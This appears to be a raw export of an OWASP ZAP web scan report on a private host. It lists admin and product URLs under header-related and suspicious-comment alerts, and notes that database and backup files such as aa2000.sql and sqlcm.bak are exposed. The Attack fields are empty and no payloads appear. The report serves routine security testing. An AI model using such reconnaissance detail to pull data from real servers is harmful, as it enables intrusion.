Method GET
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URL http://192.168.1.10:80/include/
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Method GET

Attack
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URL http://192.168.1.10:80/pictures/

Method GET
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URL http://192.168.1.10:80/production/

Method GET

Attack

Evidence

URL http://192.168.1.10:80/production/sqlcm.bak

Method GET
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URL http://192.168.1.10/

Method POST

Attack
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URL http://192.168.1.10/admin/

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/Customers.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/index.php
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Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/messages_box.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=2

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1

Method POST

Attack

http://192.168.1.10/admin/ADMIN/ADS/messages_box.php
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=2
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5
http://192.168.1.10/admin/ADMIN/AS/
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1


Evidence

URL http://192.168.1.10/admin/ADMIN/AS/asset.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/index.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/print_products.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4

Method POST

Attack

Evidence

http://192.168.1.10/admin/ADMIN/AS/asset.php
http://192.168.1.10/admin/ADMIN/AS/index.php
http://192.168.1.10/admin/ADMIN/AS/print_products.php
http://192.168.1.10/admin/ADMIN/AS/view_product.php
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=1
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4


URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=5

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=6

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=7

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=8

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=9

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/OOS/

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/OOS/index.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/OOS/print_orders.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user.php

http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=5
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=6
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=7
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=8
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=9
http://192.168.1.10/admin/ADMIN/OOS/
http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/OOS/index.php
http://192.168.1.10/admin/ADMIN/OOS/print_orders.php
http://192.168.1.10/admin/ADMIN/SERVER/add_new_user.php


Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user_type.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages_box.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1

Method POST

http://192.168.1.10/admin/ADMIN/SERVER/add_new_user_type.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages_box.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1


Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=10

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2

Method POST

Attack

http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=10
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2


Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2

Method POST

Attack

Evidence

http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2


URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/print_orders.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/index.php

Method POST

Attack

Evidence

URL http://192.168.1.10/index.php

Method POST

Attack

Evidence

URL http://192.168.1.10/login.php

http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/OOS/print_orders.php
http://192.168.1.10/admin/index.php
http://192.168.1.10/index.php
http://192.168.1.10/login.php


Method POST

Attack

Evidence

URL http://192.168.1.10/mail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=10

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=11

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=2

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=4

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=5

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=6

Method POST

http://192.168.1.10/mail.php
http://192.168.1.10/product_details.php
http://192.168.1.10/product_details.php?%20id=1
http://192.168.1.10/product_details.php?%20id=10
http://192.168.1.10/product_details.php?%20id=11
http://192.168.1.10/product_details.php?%20id=2
http://192.168.1.10/product_details.php?%20id=3
http://192.168.1.10/product_details.php?%20id=4
http://192.168.1.10/product_details.php?%20id=5
http://192.168.1.10/product_details.php?%20id=6


Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=7

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=8

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=9

Method POST

Attack

Evidence

URL http://192.168.1.10/products.php

Method POST

Attack

Evidence

URL http://192.168.1.10/products.php?page=1

Method POST

Attack

Evidence

URL http://192.168.1.10/products.php?page=2

Method POST

Attack

Evidence

URL http://192.168.1.10/products.php?page=3

Method POST

Attack

Evidence

URL http://192.168.1.10/register.php

Method POST

Attack

Evidence

Instances 2784

Solution

Ensure that the application/web server sets the Content-Type header appropriately, and 
that it sets the X-Content-Type-Options header to 'nosniff' for all web pages.

If possible, ensure that the end user uses a standards-compliant and modern web browser 
that does not perform MIME-sniffing at all, or that can be directed by the web application
/web server to not perform MIME-sniffing.

Reference  http://msdn.microsoft.com/en-us/library/ie/gg622941%28v=vs.85%29.aspx
https://owasp.org/www-community/Security_Headers

http://192.168.1.10/product_details.php?%20id=7
http://192.168.1.10/product_details.php?%20id=8
http://192.168.1.10/product_details.php?%20id=9
http://192.168.1.10/products.php
http://192.168.1.10/products.php?page=1
http://192.168.1.10/products.php?page=2
http://192.168.1.10/products.php?page=3
http://192.168.1.10/register.php
http://msdn.microsoft.com/en-us/library/ie/gg622941%28v=vs.85%29.aspx
https://owasp.org/www-community/Security_Headers


CWE Id 693

WASC Id 15

Plugin Id 10021

Informational Content-Type Header Missing

Description The Content-Type header was either missing or empty.

URL http://192.168.1.10/assets/bootstrap/fonts/glyphicons-halflings-regular.eot

Method GET

Attack

Evidence

URL http://192.168.1.10/assets/bootstrap/fonts/glyphicons-halflings-regular.svg

Method GET

Attack

Evidence

URL http://192.168.1.10/assets/bootstrap/fonts/glyphicons-halflings-regular.ttf

Method GET

Attack

Evidence

URL http://192.168.1.10/assets/bootstrap/fonts/glyphicons-halflings-regular.woff

Method GET

Attack

Evidence

URL http://192.168.1.10/assets/bootstrap/fonts/glyphicons-halflings-regular.woff2

Method GET

Attack

Evidence

URL http://192.168.1.10/bootstrap/fonts/glyphicons-halflings-regular.eot

Method GET

Attack

Evidence

URL http://192.168.1.10/bootstrap/fonts/glyphicons-halflings-regular.svg

Method GET

Attack

Evidence

URL http://192.168.1.10/bootstrap/fonts/glyphicons-halflings-regular.ttf

Method GET

Attack

Evidence

URL http://192.168.1.10/bootstrap/fonts/glyphicons-halflings-regular.woff

Method GET

Attack

Evidence

https://cwe.mitre.org/data/definitions/693.html
https://www.zaproxy.org/docs/alerts/10021/
http://192.168.1.10/assets/bootstrap/fonts/glyphicons-halflings-regular.eot
http://192.168.1.10/assets/bootstrap/fonts/glyphicons-halflings-regular.svg
http://192.168.1.10/assets/bootstrap/fonts/glyphicons-halflings-regular.ttf
http://192.168.1.10/assets/bootstrap/fonts/glyphicons-halflings-regular.woff
http://192.168.1.10/assets/bootstrap/fonts/glyphicons-halflings-regular.woff2
http://192.168.1.10/bootstrap/fonts/glyphicons-halflings-regular.eot
http://192.168.1.10/bootstrap/fonts/glyphicons-halflings-regular.svg
http://192.168.1.10/bootstrap/fonts/glyphicons-halflings-regular.ttf
http://192.168.1.10/bootstrap/fonts/glyphicons-halflings-regular.woff


URL http://192.168.1.10/database/aa2000.sql

Method GET

Attack

Evidence

URL http://192.168.1.10/production/sqlcm.bak

Method GET

Attack

Evidence

URL http://192.168.1.10/schema.sql

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/fonts/glyphicons-halflings-regular.eot

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/fonts/glyphicons-halflings-regular.svg

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/fonts/glyphicons-halflings-regular.ttf

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/fonts/glyphicons-halflings-regular.woff

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/fonts/glyphicons-halflings-regular.woff2

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/fonts/glyphicons-halflings-regular.eot

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/fonts/glyphicons-halflings-regular.svg

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/fonts/glyphicons-halflings-regular.ttf

http://192.168.1.10/database/aa2000.sql
http://192.168.1.10/production/sqlcm.bak
http://192.168.1.10/schema.sql
http://192.168.1.10:80//assets/bootstrap/fonts/glyphicons-halflings-regular.eot
http://192.168.1.10:80//assets/bootstrap/fonts/glyphicons-halflings-regular.svg
http://192.168.1.10:80//assets/bootstrap/fonts/glyphicons-halflings-regular.ttf
http://192.168.1.10:80//assets/bootstrap/fonts/glyphicons-halflings-regular.woff
http://192.168.1.10:80//assets/bootstrap/fonts/glyphicons-halflings-regular.woff2
http://192.168.1.10:80/bootstrap/fonts/glyphicons-halflings-regular.eot
http://192.168.1.10:80/bootstrap/fonts/glyphicons-halflings-regular.svg
http://192.168.1.10:80/bootstrap/fonts/glyphicons-halflings-regular.ttf


Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/fonts/glyphicons-halflings-regular.woff

Method GET

Attack

Evidence

URL http://192.168.1.10:80/database//aa2000.sql

Method GET

Attack

Evidence

URL http://192.168.1.10:80/production/sqlcm.bak

Method GET

Attack

Evidence

Instances 23

Solution Ensure each page is setting the specific and appropriate content-type value for the content 
being delivered.

Reference http://msdn.microsoft.com/en-us/library/ie/gg622941%28v=vs.85%29.aspx

CWE Id 345

WASC Id 12

Plugin Id 10019

Informational Information Disclosure - Suspicious Comments

Description The response appears to contain suspicious comments which may help an attacker. Note: 
Matches made within script blocks or files are against the entire content not only comments.

URL http://192.168.1.10/admin/ADMIN/ADS/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/ADS/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/ADS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/ADS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

http://192.168.1.10:80/bootstrap/fonts/glyphicons-halflings-regular.woff
http://192.168.1.10:80/database//aa2000.sql
http://192.168.1.10:80/production/sqlcm.bak
http://msdn.microsoft.com/en-us/library/ie/gg622941%28v=vs.85%29.aspx
https://cwe.mitre.org/data/definitions/345.html
https://www.zaproxy.org/docs/alerts/10019/
http://192.168.1.10/admin/ADMIN/ADS/css/bootstrap-datetimepicker.js
http://192.168.1.10/admin/ADMIN/ADS/css/bootstrap-datetimepicker.js
http://192.168.1.10/admin/ADMIN/ADS/js/bootstrap-datetimepicker.js
http://192.168.1.10/admin/ADMIN/ADS/js/bootstrap-datetimepicker.js


URL http://192.168.1.10/admin/ADMIN/ADS/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/admin/ADMIN/ADS/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/ADS/js/DT_bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/ADMIN/ADS/js/DT_bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/ADS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/ADS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10/admin/ADMIN/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10/admin/ADMIN/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/ADMIN/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence later

URL http://192.168.1.10/admin/ADMIN/ADS/js/jquery.dataTables.js
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Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence todo

URL http://192.168.1.10/admin/ADMIN/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence user

URL http://192.168.1.10/admin/ADMIN/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence where

URL http://192.168.1.10/admin/ADMIN/ADS/offcanvas.js

Method GET

Attack

Evidence admin

URL http://192.168.1.10/admin/ADMIN/AS/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/AS/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/AS/jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/AS/jquery.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10/admin/ADMIN/AS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/AS/js/bootstrap-datetimepicker.js

Method GET
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Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/AS/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/admin/ADMIN/AS/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/AS/js/DT_bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/ADMIN/AS/js/DT_bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/AS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/AS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10/admin/ADMIN/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10/admin/ADMIN/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/ADMIN/AS/js/jquery.dataTables.js

Method GET

Attack
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Evidence later

URL http://192.168.1.10/admin/ADMIN/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence todo

URL http://192.168.1.10/admin/ADMIN/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence user

URL http://192.168.1.10/admin/ADMIN/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence where

URL http://192.168.1.10/admin/ADMIN/AS/offcanvas.js

Method GET

Attack

Evidence admin

URL http://192.168.1.10/admin/ADMIN/assets/js/ie8-responsive-file-warning.js

Method GET

Attack

Evidence admin

URL http://192.168.1.10/admin/ADMIN/dist/js/bootstrap.min.js

Method GET

Attack

Evidence admin

URL http://192.168.1.10/admin/ADMIN/OOS/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/OOS/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence bug
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URL http://192.168.1.10/admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10/admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence later

URL http://192.168.1.10/admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence user

URL http://192.168.1.10/admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence username

URL http://192.168.1.10/admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence where

URL http://192.168.1.10/admin/ADMIN/OOS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/OOS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/OOS/js/bootstrap.js
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Method GET

Attack

Evidence query

URL http://192.168.1.10/admin/ADMIN/OOS/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/OOS/js/DT_bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/ADMIN/OOS/js/DT_bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/OOS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/OOS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10/admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10/admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence later

URL http://192.168.1.10/admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET
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Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence todo

URL http://192.168.1.10/admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence user

URL http://192.168.1.10/admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence where

URL http://192.168.1.10/admin/ADMIN/OOS/js/jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/OOS/js/jquery.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10/admin/ADMIN/OOS/offcanvas.js

Method GET

Attack

Evidence admin

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/index.php

Method GET

Attack
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Evidence from

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/DT_bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/DT_bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence bugs
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URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence later

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence todo

